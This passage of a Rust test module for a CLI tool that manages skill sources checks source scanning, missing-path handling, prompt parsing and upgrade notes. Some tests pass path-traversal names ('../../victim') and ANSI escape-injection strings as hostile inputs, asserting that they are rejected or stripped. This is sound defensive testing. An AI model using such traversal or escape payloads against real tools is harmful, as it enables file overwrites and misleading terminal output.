Some(dest.to_string_lossy().as_ref()),
"the chosen destination must be saved as absorb_to"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn scan_one_hard_fails_where_the_registry_walk_degrades() {
let (paths, base) = ns_paths();
let gone = base.join("never-created");
let src = crate::source::parse_spec(&gone.to_string_lossy()).expect("parse local spec");
assert!(
src.is_linked(),
"sanity: a local unpinned source is linked (CLI-27), which is what \
LinkedSourceGone applies to"
);
let degraded =
catalog::scan(&paths, &single(&src)).expect("the registry walk degrades, CLI-213");
assert!(
degraded.is_empty(),
"the degraded result is indistinguishable from a healthy source with \
no items, which is exactly why a single-source caller cannot use it"
);
let err = scan_one(&paths, &src).expect_err("a single-source scan must not degrade");
assert!(
matches!(err, MindError::LinkedSourceGone { .. }),
"the vanished working tree must surface as LinkedSourceGone (with its \
`mind unmeld` remedy), got: {err:?}"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn dsc93_skips_only_a_missing_path_inside_the_managed_sources_tree() {
let (paths, base) = ns_paths();
assert_eq!(
unresolvable_managed_local_entry(&paths, "github:acme/nested"),
None,
"a remote entry must never be skipped"
);
let typo = base.join("curator-worktree").join("nested-lib");
assert_eq!(
unresolvable_managed_local_entry(&paths, &typo.to_string_lossy()),
None,
"a missing path outside the sources tree is a real error, not a skip"
);
let phantom = paths.sources_dir().join("local/owner/nested-lib");
assert_eq!(
unresolvable_managed_local_entry(&paths, &phantom.to_string_lossy()),
Some(phantom.clone()),
"a missing sibling inside mind's own sources tree is the DSC-93 case"
);
std::fs::create_dir_all(&phantom).expect("create the sibling clone dir");
assert_eq!(
unresolvable_managed_local_entry(&paths, &phantom.to_string_lossy()),
None,
"an entry that resolves to a directory that exists must be attempted"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn dsc93_classifies_every_local_spec_form_the_parser_accepts() {
let (paths, base) = ns_paths();
let phantom = paths.sources_dir().join("local/owner/nested-lib");
let file_url = format!("file://{}", phantom.display());
assert_eq!(
unresolvable_managed_local_entry(&paths, &file_url),
Some(phantom.clone()),
"the file:// spelling of a missing sources-tree path is the same case \
as the bare path"
);
let link = format!("file://{}/tree/main/skills/greet", phantom.display());
assert_eq!(
unresolvable_managed_local_entry(&paths, &link),
Some(phantom.clone()),
"a local item-link entry must be classified by its repo part"
);
assert_eq!(
unresolvable_managed_local_entry(&paths, "../nested-lib"),
None,
"a relative entry resolves against the cwd, never into the sources tree"
);
let neighbour = format!("{}-elsewhere/owner/nested", paths.sources_dir().display());
assert_eq!(
unresolvable_managed_local_entry(&paths, &neighbour),
None,
"a path whose string merely shares a prefix with the sources dir is \
not inside it"
);
std::fs::create_dir_all(phantom.parent().expect("parent")).expect("mkdir");
std::fs::write(&phantom, b"not a clone").expect("write file at the clone path");
assert_eq!(
unresolvable_managed_local_entry(&paths, &phantom.to_string_lossy()),
None,
"a path occupied by a FILE exists, so it is attempted (and fails as a \
clone error) rather than skipped"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn collision_prompt_empty_accepts_suggested() {
match parse_collision_answer("", "myrepo") {
CollisionAnswer::Prefix(p) => assert_eq!(p, "myrepo"),
CollisionAnswer::Abort => panic!("empty must accept suggested, not abort"),
}
match parse_collision_answer(" ", "myrepo") {
CollisionAnswer::Prefix(p) => assert_eq!(p, "myrepo"),
CollisionAnswer::Abort => panic!("whitespace must accept suggested, not abort"),
}
}
#[test]
fn collision_prompt_dot_aborts() {
assert!(
matches!(
parse_collision_answer(".", "myrepo"),
CollisionAnswer::Abort
),
"dot must abort"
);
assert!(
matches!(
parse_collision_answer(" . ", "myrepo"),
CollisionAnswer::Abort
),
"dot with whitespace must abort"
);
}
#[test]
fn collision_prompt_custom_prefix_is_preserved() {
match parse_collision_answer("mypfx", "suggested") {
CollisionAnswer::Prefix(p) => assert_eq!(p, "mypfx"),
CollisionAnswer::Abort => panic!("custom prefix must not abort"),
}
match parse_collision_answer(" mypfx ", "suggested") {
CollisionAnswer::Prefix(p) => assert_eq!(p, "mypfx"),
CollisionAnswer::Abort => panic!("trimmed custom prefix must not abort"),
}
}
#[test]
fn format_conflicts_display_strips_ansi_from_name_and_source() {
let conflicts = vec![(
"skill".to_string(),
"\x1b[31mreview\x1b[0m".to_string(), "\x1b[32mevil/source\x1b[0m".to_string(), )];
let out = format_conflicts_display(&conflicts);
assert!(
out.contains("skill:review"),
"bare name must appear without ANSI: {out}"
);
assert!(
out.contains("evil/source"),
"bare source must appear without ANSI: {out}"
);
assert!(
!out.contains('\x1b'),
"no ANSI escape bytes must appear in the output: {out}"
);
}
fn raw_source(host: &str, owner: &str, repo: &str) -> crate::source::Source {
crate::source::Source {
name: format!("{host}/{owner}/{repo}"),
url: "https://example.com/evil".into(),
host: host.into(),
owner: owner.into(),
repo: repo.into(),
commit: None,
description: None,
alias: None,
as_alias: None,
pin: Pin::DefaultBranch,
roots: None,
flat_skills: false,
add_roots: None,
item_path: None,
origin: None,
plugin_version: None,
install_hooks: Vec::new(),
install_hook: None,
install_hook_commit: None,
}
}
#[test]
fn clone_dir_checked_rejects_a_traversing_host_part() {
let (paths, base) = ns_paths();
let source = raw_source("..", "..", "victim");
let err = clone_dir_checked(&paths, &source).expect_err("traversing host must be refused");
match err {
MindError::UnsafeClonePath { identity, .. } => {
assert_eq!(identity, source.name);
}
other => panic!("expected UnsafeClonePath, got {other:?}"),
}
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn clone_dir_checked_rejects_a_traversing_repo_part() {
let (paths, base) = ns_paths();
let source = raw_source("github.com", "acme", "../../victim");
let err = clone_dir_checked(&paths, &source).expect_err("traversing repo must be refused");
assert_eq!(err.kind(), "unsafe-clone-path");
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn clone_dir_checked_accepts_a_well_formed_source() {
let (paths, base) = ns_paths();
let source = raw_source("github.com", "acme", "agents");
let dir = clone_dir_checked(&paths, &source).expect("well-formed source must be accepted");
assert!(
dir.starts_with(paths.sources_dir()),
"accepted clone dir must be under the sources tree: {}",
dir.display()
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn multi_source_upgrade_note_none_for_empty_scope() {
assert!(multi_source_upgrade_note(&[], None).is_none());
}
#[test]
fn multi_source_upgrade_note_none_for_single_match() {
let names = vec!["github.com/acme/skills".to_string()];
assert!(
multi_source_upgrade_note(&names, Some("skills")).is_none(),
"a single-match filter must not grow the confirmation"
);
}
#[test]
fn multi_source_upgrade_note_names_every_match_for_multi_match() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, Some("skills"))
.expect("a multi-match filter must produce a naming note");
assert!(
note.contains("github.com/acme/skills"),
"note must name the first matched source: {note}"
);
assert!(
note.contains("github.com/other/skills"),
"note must name the second matched source: {note}"
);
assert!(
note.contains('2'),
"note must state the match count: {note}"
);
}
#[test]
fn multi_source_upgrade_note_echoes_the_filter_string() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, Some("skills")).expect("multi-match note");
assert!(
note.contains("skills"),
"note must echo the filter string: {note}"
);
}
#[test]
fn multi_source_upgrade_note_names_a_narrowing_remedy() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, Some("skills")).expect("multi-match note");
assert!(
note.contains("host/owner/repo") || note.to_lowercase().contains("narrow"),
"note must state a narrowing remedy: {note}"
);
}
#[test]
fn multi_source_upgrade_note_omits_filter_clause_when_no_filter_text() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, None).expect("multi-match note");
assert!(
!note.contains('"'),
"must not fabricate a quoted filter string: {note}"
);
}
#[test]
fn multi_source_upgrade_note_strips_ansi_from_source_names() {
let names = vec![
"\x1b[2Jevil".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, None).expect("multi-match note");
assert!(
!note.contains('\x1b'),
"ANSI escape byte must be stripped: {note:?}"
);
assert!(note.contains("evil"), "printable text must survive: {note}");
}
#[test]
fn json_confirmation_action_embeds_multi_source_note() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, Some("skills")).expect("multi-match note");
let action = json_confirmation_action(format!("applying pending upgrades ({note})"), true);
assert!(
action.contains("github.com/acme/skills"),
"action: {action}"
);
assert!(
action.contains("github.com/other/skills"),
"action: {action}"
);
assert!(
action.contains("--json is always non-interactive"),
"action must still carry the LIFE-45 --json remedy text: {action}"
);
}
#[test]
fn json_confirmation_action_unchanged_for_single_source() {
let action = json_confirmation_action("applying pending upgrades", true);
assert_eq!(
action,
"applying pending upgrades (--json is always non-interactive; --yes is the only way to proceed)"
);
}
}